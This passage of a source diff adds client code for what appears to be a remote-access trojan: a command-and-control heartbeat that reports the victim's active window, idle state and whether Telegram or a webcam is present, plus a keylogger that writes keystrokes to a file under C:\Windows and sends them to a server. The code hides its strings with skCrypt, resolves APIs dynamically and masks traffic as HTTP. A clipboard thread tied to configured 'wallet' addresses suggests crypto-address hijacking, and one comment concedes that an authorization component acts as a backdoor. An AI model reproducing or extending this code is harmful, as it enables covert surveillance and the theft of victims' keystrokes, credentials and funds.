|
||||
|
||||
// 定时调用ikcp_update的线程函数
|
||||
void KCPUpdateLoop();
|
||||
|
||||
private:
|
||||
ikcpcb* kcp_;
|
||||
std::thread updateThread_;
|
||||
std::atomic<bool> running_;
|
||||
};
|
||||
66
client/IOCPUDPClient.cpp
Normal file
66
client/IOCPUDPClient.cpp
Normal file
@@ -0,0 +1,66 @@
|
||||
#include "IOCPUDPClient.h"
|
||||
|
||||
|
||||
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
m_sCurIP = m_Domain.SelectIP();
|
||||
unsigned short port = m_nHostPort;
|
||||
|
||||
// 创建 UDP socket
|
||||
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (m_sClientSocket == INVALID_SOCKET) {
|
||||
Mprintf("Failed to create UDP socket\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 初始化服务器地址结构
|
||||
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
|
||||
#ifdef _WIN32
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
#else
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
#endif
|
||||
|
||||
// UDP不调用 connect(),也不设置 TCP keep-alive 相关选项
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
|
||||
// 创建工作线程(如果需要)
|
||||
if (m_hWorkThread == NULL) {
|
||||
#ifdef _WIN32
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
#endif
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
sockaddr_in fromAddr;
|
||||
int fromLen = sizeof(fromAddr);
|
||||
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
|
||||
}
|
||||
|
||||
int IOCPUDPClient::SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
if (len > 1200) {
|
||||
Mprintf("UDP large packet may lost: %d bytes\n", len);
|
||||
}
|
||||
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
|
||||
}
|
||||
16
client/IOCPUDPClient.h
Normal file
16
client/IOCPUDPClient.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class IOCPUDPClient : public IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect) {}
|
||||
|
||||
virtual ~IOCPUDPClient() {}
|
||||
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
};
|
||||
1497
client/KernelManager.cpp
Normal file
1497
client/KernelManager.cpp
Normal file
File diff suppressed because it is too large
Load Diff
269
client/KernelManager.h
Normal file
269
client/KernelManager.h
Normal file
@@ -0,0 +1,269 @@
|
||||
// KernelManager.h: interface for the CKernelManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
#include "ClientApp.h"
|
||||
|
||||
#define MAX_THREADNUM 0x1000>>2
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <iomanip>
|
||||
#include <TlHelp32.h>
|
||||
#include "LoginServer.h"
|
||||
#include <common/iniFile.h>
|
||||
|
||||
// 根据配置决定采用什么通讯协议
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
|
||||
|
||||
class ActivityWindow
|
||||
{
|
||||
public:
|
||||
std::string Check(DWORD threshold_ms = 6000)
|
||||
{
|
||||
auto idle = GetUserIdleTime();
|
||||
BOOL isActive = (idle < threshold_ms);
|
||||
if (isActive) {
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
DWORD totalSeconds = ms / 1000;
|
||||
DWORD hours = totalSeconds / 3600;
|
||||
DWORD minutes = (totalSeconds % 3600) / 60;
|
||||
DWORD seconds = totalSeconds % 60;
|
||||
|
||||
std::stringstream ss;
|
||||
ss << std::setfill('0')
|
||||
<< std::setw(2) << hours << ":"
|
||||
<< std::setw(2) << minutes << ":"
|
||||
<< std::setw(2) << seconds;
|
||||
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
std::string GetActiveWindowTitle()
|
||||
{
|
||||
HWND hForegroundWindow = GetForegroundWindow();
|
||||
if (hForegroundWindow == NULL)
|
||||
return "No active window";
|
||||
|
||||
char windowTitle[256];
|
||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
||||
return std::string(windowTitle);
|
||||
}
|
||||
|
||||
DWORD GetLastInputTime()
|
||||
{
|
||||
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
|
||||
GetLastInputInfo(&lii);
|
||||
return lii.dwTime;
|
||||
}
|
||||
|
||||
DWORD GetUserIdleTime()
|
||||
{
|
||||
return (GetTickCount64() - GetLastInputTime());
|
||||
}
|
||||
|
||||
bool IsWorkstationLocked()
|
||||
{
|
||||
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
|
||||
// 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon
|
||||
if (!hInput) return true;
|
||||
char name[256] = {0};
|
||||
DWORD needed;
|
||||
bool isLocked = false;
|
||||
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
|
||||
isLocked = (_stricmp(name, "Winlogon") == 0);
|
||||
}
|
||||
CloseDesktop(hInput);
|
||||
return isLocked;
|
||||
}
|
||||
};
|
||||
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // 平滑 RTT (秒)
|
||||
double rttvar = 0.0; // RTT 波动 (秒)
|
||||
double rto = 0.0; // 超时时间 (秒)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms)
|
||||
{
|
||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||
if (rtt_ms <= 0 || rtt_ms > 30000) {
|
||||
return;
|
||||
}
|
||||
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
|
||||
// 转换成秒
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
} else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
|
||||
ThreadInfo* m_hKeyboard;
|
||||
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||
// 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常
|
||||
// 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置
|
||||
ULONG m_ulThreadCount;
|
||||
UINT GetAvailableIndex();
|
||||
State& g_bExit; // Hide base class variable
|
||||
static int g_IsAppExit;
|
||||
MasterSettings m_settings;
|
||||
RttEstimator m_nNetPing; // 网络状况
|
||||
std::string m_LoginMsg; // 登录消息摘要
|
||||
std::string m_LoginSignature; // 登录消息签名
|
||||
// C2C 文件传输
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
uint64_t m_MyClientID = 0;
|
||||
void SetLoginMsg(const std::string& msg)
|
||||
{
|
||||
m_LoginMsg = msg;
|
||||
}
|
||||
// 发送心跳
|
||||
virtual int SendHeartbeat()
|
||||
{
|
||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||
Sleep(1000);
|
||||
if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳)
|
||||
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
|
||||
Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
if (g_bExit || !m_ClientObject->IsConnected())
|
||||
return -1;
|
||||
|
||||
ActivityWindow checker;
|
||||
auto s = checker.Check();
|
||||
Heartbeat a(s, (int)(m_nNetPing.srtt * 1000)); // srtt是秒,转为毫秒
|
||||
|
||||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &a, sizeof(Heartbeat));
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
return 0;
|
||||
}
|
||||
bool SoftwareCheck(int type)
|
||||
{
|
||||
static std::map<int, std::string> m = {
|
||||
{SOFTWARE_CAMERA, "摄像头"},
|
||||
{SOFTWARE_TELEGRAM, "telegram.exe" },
|
||||
};
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
|
||||
}
|
||||
// 检查进程是否正在运行
|
||||
bool IsProcessRunning(const std::vector<std::string>& processNames)
|
||||
{
|
||||
PROCESSENTRY32 pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// 获取当前系统中所有进程的快照
|
||||
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||||
return true;
|
||||
|
||||
// 遍历所有进程
|
||||
if (Process32First(hProcessSnap, &pe32)) {
|
||||
do {
|
||||
for (const auto& processName : processNames) {
|
||||
// 如果进程名称匹配,则返回 true
|
||||
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
|
||||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||||
return false;
|
||||
}
|
||||
virtual uint64_t GetClientID() const override
|
||||
{
|
||||
return m_conn->clientID;
|
||||
}
|
||||
virtual bool IsAuthKernel() const {
|
||||
return false;
|
||||
}
|
||||
virtual void SetClientApp(App* app) {
|
||||
m_ClientApp = app;
|
||||
}
|
||||
App* m_ClientApp = nullptr;
|
||||
};
|
||||
|
||||
// [IMPORTANT]
|
||||
// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互.
|
||||
// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的.
|
||||
// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息.
|
||||
// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出.
|
||||
class AuthKernelManager : public CKernelManager
|
||||
{
|
||||
public:
|
||||
config* THIS_CFG = nullptr;
|
||||
|
||||
bool m_bFirstHeartbeat = true;
|
||||
|
||||
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||||
: THIS_CFG(IsDebug ? new config : new iniFile),
|
||||
CKernelManager(conn, ClientObject, hInstance, kb, s)
|
||||
{
|
||||
Mprintf("Init a authorization kernel manager: %p\n", this);
|
||||
}
|
||||
virtual ~AuthKernelManager() {
|
||||
delete THIS_CFG;
|
||||
Mprintf("UnInit a authorization kernel manager: %p\n", this);
|
||||
}
|
||||
|
||||
virtual int SendHeartbeat()override;
|
||||
|
||||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)override;
|
||||
|
||||
virtual bool IsAuthKernel() const override {
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
634
client/KeyboardManager.cpp
Normal file
634
client/KeyboardManager.cpp
Normal file
@@ -0,0 +1,634 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "Common.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#if ENABLE_KEYBOARD
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <iostream>
|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
#include "keylogger.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
#define CAPTION_SIZE 1024
|
||||
|
||||
// 这个库不支持一个进程运行2份键盘记录的需求(例如分享主机)
|
||||
// 未来也许移除对clip的使用
|
||||
#define USING_CLIP 0
|
||||
|
||||
#include "wallet.h"
|
||||
#if USING_CLIP
|
||||
#include "clip.h"
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "clip_x64D.lib")
|
||||
#else
|
||||
#pragma comment(lib, "clip_x64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "clipd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "clip.lib")
|
||||
#endif
|
||||
#endif
|
||||
#else
|
||||
#include "my_clip.h"
|
||||
#endif
|
||||
|
||||
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
|
||||
{
|
||||
#if USING_CLIP
|
||||
clip::set_error_handler(NULL);
|
||||
#endif
|
||||
m_bIsOfflineRecord = offline;
|
||||
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||
|
||||
m_bIsWorking = true;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
|
||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
SetReady(TRUE);
|
||||
Mprintf("CKeyboardManager1: Start %p\n", this);
|
||||
}
|
||||
|
||||
CKeyboardManager1::~CKeyboardManager1()
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hClipboard, INFINITE);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hSendThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(m_hClipboard);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
SAFE_CLOSE_HANDLE(m_hSendThread);
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
delete m_Buffer;
|
||||
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
||||
}
|
||||
|
||||
void CKeyboardManager1::Notify()
|
||||
{
|
||||
if (NULL == this)
|
||||
return;
|
||||
|
||||
m_mu.Lock();
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::UpdateWallet(const std::string& wallet)
|
||||
{
|
||||
m_mu.Lock();
|
||||
m_Wallet = StringToVector(wallet, ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
||||
m_bIsOfflineRecord = lpBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
||||
m_Buffer->Clear();
|
||||
GET_PROCESS_EASY(DeleteFileA);
|
||||
DeleteFileA(m_strRecordFile);
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
{
|
||||
m_mu.Lock();
|
||||
auto w = m_Wallet;
|
||||
m_mu.Unlock();
|
||||
return w;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
|
||||
|
||||
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
GET_PROCESS(DLLS[KERNEL], LocalAlloc);
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
GET_PROCESS(DLLS[KERNEL], LocalFree);
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
|
||||
std::string GetKey(int Key) // 判断键盘按下什么键
|
||||
{
|
||||
GET_PROCESS(DLLS[USER32], GetKeyState);
|
||||
std::string KeyString = "";
|
||||
//判断符号输入
|
||||
const int KeyPressMask=0x80000000; //键盘掩码常量
|
||||
int iShift=GetKeyState(0x10); //判断Shift键状态
|
||||
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
|
||||
if(Key >=186 && Key <=222) {
|
||||
switch(Key) {
|
||||
case 186:
|
||||
if(IS)
|
||||
KeyString = skCrypt(":");
|
||||
else
|
||||
KeyString = skCrypt(";");
|
||||
break;
|
||||
case 187:
|
||||
if(IS)
|
||||
KeyString = skCrypt("+");
|
||||
else
|
||||
KeyString = skCrypt("=");
|
||||
break;
|
||||
case 188:
|
||||
if(IS)
|
||||
KeyString = skCrypt("<");
|
||||
else
|
||||
KeyString = skCrypt(",");
|
||||
break;
|
||||
case 189:
|
||||
if(IS)
|
||||
KeyString = skCrypt("_");
|
||||
else
|
||||
KeyString = skCrypt("-");
|
||||
break;
|
||||
case 190:
|
||||
if(IS)
|
||||
KeyString = skCrypt(">");
|
||||
else
|
||||
KeyString = skCrypt(".");
|
||||
break;
|
||||
case 191:
|
||||
if(IS)
|
||||
KeyString = skCrypt("?");
|
||||
else
|
||||
KeyString = skCrypt("/");
|
||||
break;
|
||||
case 192:
|
||||
if(IS)
|
||||
KeyString = skCrypt("~");
|
||||
else
|
||||
KeyString = skCrypt("`");
|
||||
break;
|
||||
case 219:
|
||||
if(IS)
|
||||
KeyString = skCrypt("{");
|
||||
else
|
||||
KeyString = skCrypt("[");
|
||||
break;
|
||||
case 220:
|
||||
if(IS)
|
||||
KeyString = skCrypt("|");
|
||||
else
|
||||
KeyString = skCrypt("\\");
|
||||
break;
|
||||
case 221:
|
||||
if(IS)
|
||||
KeyString = skCrypt("}");
|
||||
else
|
||||
KeyString = skCrypt("]");
|
||||
break;
|
||||
case 222:
|
||||
if(IS)
|
||||
KeyString = '"';
|
||||
else
|
||||
KeyString = skCrypt("'");
|
||||
break;
|
||||
}
|
||||
}
|
||||
//判断键盘的第一行
|
||||
if (Key == VK_ESCAPE) // 退出
|
||||
KeyString = skCrypt("[Esc]");
|
||||
else if (Key == VK_F1) // F1至F12
|
||||
KeyString = skCrypt("[F1]");
|
||||
else if (Key == VK_F2)
|
||||
KeyString = skCrypt("[F2]");
|
||||
else if (Key == VK_F3)
|
||||
KeyString = skCrypt("[F3]");
|
||||
else if (Key == VK_F4)
|
||||
KeyString = skCrypt("[F4]");
|
||||
else if (Key == VK_F5)
|
||||
KeyString = skCrypt("[F5]");
|
||||
else if (Key == VK_F6)
|
||||
KeyString = skCrypt("[F6]");
|
||||
else if (Key == VK_F7)
|
||||
KeyString = skCrypt("[F7]");
|
||||
else if (Key == VK_F8)
|
||||
KeyString = skCrypt("[F8]");
|
||||
else if (Key == VK_F9)
|
||||
KeyString = skCrypt("[F9]");
|
||||
else if (Key == VK_F10)
|
||||
KeyString = skCrypt("[F10]");
|
||||
else if (Key == VK_F11)
|
||||
KeyString = skCrypt("[F11]");
|
||||
else if (Key == VK_F12)
|
||||
KeyString = skCrypt("[F12]");
|
||||
else if (Key == VK_SNAPSHOT) // 打印屏幕
|
||||
KeyString = skCrypt("[PrScrn]");
|
||||
else if (Key == VK_SCROLL) // 滚动锁定
|
||||
KeyString = skCrypt("[Scroll Lock]");
|
||||
else if (Key == VK_PAUSE) // 暂停、中断
|
||||
KeyString = skCrypt("[Pause]");
|
||||
else if (Key == VK_CAPITAL) // 大写锁定
|
||||
KeyString = skCrypt("[Caps Lock]");
|
||||
|
||||
//-------------------------------------//
|
||||
//控制键
|
||||
else if (Key == 8) //<- 回格键
|
||||
KeyString = skCrypt("[Backspace]");
|
||||
else if (Key == VK_RETURN) // 回车键、换行
|
||||
KeyString = skCrypt("[Enter]\n");
|
||||
else if (Key == VK_SPACE) // 空格
|
||||
KeyString = skCrypt(" ");
|
||||
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
|
||||
//上档键和别的键组合,输出时有字符输出
|
||||
/*
|
||||
else if (Key == VK_LSHIFT) // 左侧上档键
|
||||
KeyString = skCrypt("[Shift]");
|
||||
else if (Key == VK_LSHIFT) // 右侧上档键
|
||||
KeyString = skCrypt("[SHIFT]");
|
||||
*/
|
||||
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
|
||||
else if (Key == VK_TAB) // 制表键
|
||||
KeyString = skCrypt("[Tab]");
|
||||
else if (Key == VK_LCONTROL) // 左控制键
|
||||
KeyString = skCrypt("[Ctrl]");
|
||||
else if (Key == VK_RCONTROL) // 右控制键
|
||||
KeyString = skCrypt("[CTRL]");
|
||||
else if (Key == VK_LMENU) // 左换档键
|
||||
KeyString = skCrypt("[Alt]");
|
||||
else if (Key == VK_LMENU) // 右换档键
|
||||
KeyString = skCrypt("[ALT]");
|
||||
else if (Key == VK_LWIN) // 右 WINDOWS 键
|
||||
KeyString = skCrypt("[Win]");
|
||||
else if (Key == VK_RWIN) // 右 WINDOWS 键
|
||||
KeyString = skCrypt("[WIN]");
|
||||
else if (Key == VK_APPS) // 键盘上 右键
|
||||
KeyString = skCrypt("右键");
|
||||
else if (Key == VK_INSERT) // 插入
|
||||
KeyString = skCrypt("[Insert]");
|
||||
else if (Key == VK_DELETE) // 删除
|
||||
KeyString = skCrypt("[Delete]");
|
||||
else if (Key == VK_HOME) // 起始
|
||||
KeyString = skCrypt("[Home]");
|
||||
else if (Key == VK_END) // 结束
|
||||
KeyString = skCrypt("[End]");
|
||||
else if (Key == VK_PRIOR) // 上一页
|
||||
KeyString = skCrypt("[PgUp]");
|
||||
else if (Key == VK_NEXT) // 下一页
|
||||
KeyString = skCrypt("[PgDown]");
|
||||
// 不常用的几个键:一般键盘没有
|
||||
else if (Key == VK_CANCEL) // Cancel
|
||||
KeyString = skCrypt("[Cancel]");
|
||||
else if (Key == VK_CLEAR) // Clear
|
||||
KeyString = skCrypt("[Clear]");
|
||||
else if (Key == VK_SELECT) //Select
|
||||
KeyString = skCrypt("[Select]");
|
||||
else if (Key == VK_PRINT) //Print
|
||||
KeyString = skCrypt("[Print]");
|
||||
else if (Key == VK_EXECUTE) //Execute
|
||||
KeyString = skCrypt("[Execute]");
|
||||
|
||||
//----------------------------------------//
|
||||
else if (Key == VK_LEFT) //上、下、左、右键
|
||||
KeyString = skCrypt("[←]");
|
||||
else if (Key == VK_RIGHT)
|
||||
KeyString = skCrypt("[→]");
|
||||
else if (Key == VK_UP)
|
||||
KeyString = skCrypt("[↑]");
|
||||
else if (Key == VK_DOWN)
|
||||
KeyString = skCrypt("[↓]");
|
||||
else if (Key == VK_NUMLOCK)//小键盘数码锁定
|
||||
KeyString = skCrypt("[NumLock]");
|
||||
else if (Key == VK_ADD) // 加、减、乘、除
|
||||
KeyString = skCrypt("+");
|
||||
else if (Key == VK_SUBTRACT)
|
||||
KeyString = skCrypt("-");
|
||||
else if (Key == VK_MULTIPLY)
|
||||
KeyString = skCrypt("*");
|
||||
else if (Key == VK_DIVIDE)
|
||||
KeyString = skCrypt("/");
|
||||
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
|
||||
KeyString = skCrypt(".");
|
||||
//小键盘数字键:0-9
|
||||
else if (Key == VK_NUMPAD0)
|
||||
KeyString = skCrypt("0");
|
||||
else if (Key == VK_NUMPAD1)
|
||||
KeyString = skCrypt("1");
|
||||
else if (Key == VK_NUMPAD2)
|
||||
KeyString = skCrypt("2");
|
||||
else if (Key == VK_NUMPAD3)
|
||||
KeyString = skCrypt("3");
|
||||
else if (Key == VK_NUMPAD4)
|
||||
KeyString = skCrypt("4");
|
||||
else if (Key == VK_NUMPAD5)
|
||||
KeyString = skCrypt("5");
|
||||
else if (Key == VK_NUMPAD6)
|
||||
KeyString = skCrypt("6");
|
||||
else if (Key == VK_NUMPAD7)
|
||||
KeyString = skCrypt("7");
|
||||
else if (Key == VK_NUMPAD8)
|
||||
KeyString = skCrypt("8");
|
||||
else if (Key == VK_NUMPAD9)
|
||||
KeyString = skCrypt("9");
|
||||
//-------------------------------------------//
|
||||
|
||||
//-------------------------------------------//
|
||||
//*对字母的大小写进行判断*//
|
||||
else if (Key >=97 && Key <= 122) { // 字母:a-z
|
||||
if (GetKeyState(VK_CAPITAL)) { // 大写锁定
|
||||
if(IS) //Shift按下:为小写字母
|
||||
KeyString = Key;
|
||||
else // 只有大写锁定:输出大写字母
|
||||
KeyString = Key - 32;
|
||||
} else { // 大写没有锁定
|
||||
if(IS) // 按下Shift键: 大写字母
|
||||
KeyString = Key - 32;
|
||||
else // 没有按Shift键: 小写字母
|
||||
KeyString = Key;
|
||||
}
|
||||
} else if (Key >=48 && Key <= 57) { // 键盘数字:0-9及上方的符号
|
||||
if(IS) {
|
||||
switch(Key) {
|
||||
case 48: //0
|
||||
KeyString = skCrypt(")");
|
||||
break;
|
||||
case 49://1
|
||||
KeyString = skCrypt("!");
|
||||
break;
|
||||
case 50://2
|
||||
KeyString = skCrypt("@");
|
||||
break;
|
||||
case 51://3
|
||||
KeyString = skCrypt("#");
|
||||
break;
|
||||
case 52://4
|
||||
KeyString = skCrypt("$");
|
||||
break;
|
||||
case 53://5
|
||||
